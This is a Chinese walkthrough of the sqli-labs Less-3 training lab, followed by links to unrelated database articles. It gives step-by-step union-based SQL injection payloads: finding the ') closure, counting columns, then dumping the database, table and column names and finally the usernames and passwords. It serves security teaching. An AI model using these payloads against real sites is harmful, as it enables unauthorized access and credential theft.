SQL注入实例(sqli-labs/less-3)

0、初始页面

1、确定闭合字符

确定为字符型注入

复制代码
?id=1 and 1=1 
?id=1 and 1=2

确定闭合字符为 ')

复制代码
?id=1'
?id=1')

2、确定表的列数

确定查询表的列数为3

复制代码
?id=1') order by 3 --+

3、确定回显位置

确定回显位置为第二列和第三列

复制代码
?id=-1') union select 1,2,3 --+

4、爆库名

当前所在数据库为security

复制代码
?id=-1') union select 1,user(),database() --+

5、爆表名

查看users表

复制代码
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+

6、爆列名

复制代码
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' --+

7、显示最终结果

复制代码
?id=-1%27) union select 1,2,group_concat(username,0x3a,password) from security.users --+
相关推荐
super_lzb15 分钟前
mybatis拦截器ParameterHandler详解
java·数据库·spring boot·spring·mybatis
CV工程师的自我修养22 分钟前
数据库出现死锁了。还不知道什么原因引起的?快来看看吧!
数据库
码界奇点1 小时前
灵活性与高性能兼得KingbaseES 对 JSON 数据的全面支持深度解析
数据库·json·es
2501_941871451 小时前
面向微服务链路追踪与全局上下文管理的互联网系统可观测性设计与多语言工程实践分享
大数据·数据库·python
·云扬·1 小时前
MySQL单机多实例部署两种实用方法详解
数据库·mysql·adb
odoo中国1 小时前
Pgpool-II 在 PostgreSQL 中的用例场景与优势
数据库·postgresql·中间件·pgpool
男孩李1 小时前
postgres数据库常用命令介绍
数据库·postgresql
IvorySQL1 小时前
让源码安装不再困难:IvorySQL 一键安装脚本的实现细节解析
数据库·人工智能·postgresql·开源
云和数据.ChenGuang1 小时前
openGauss赋能新能源汽车智能制造——比亚迪MES系统数据库国产化升级案例
数据库·汽车·opengauss·gaussdb·数据库权限管理
洛小豆2 小时前
她问我:数据库还在存 Timestamp?我说:大人,时代变了
数据库·后端·mysql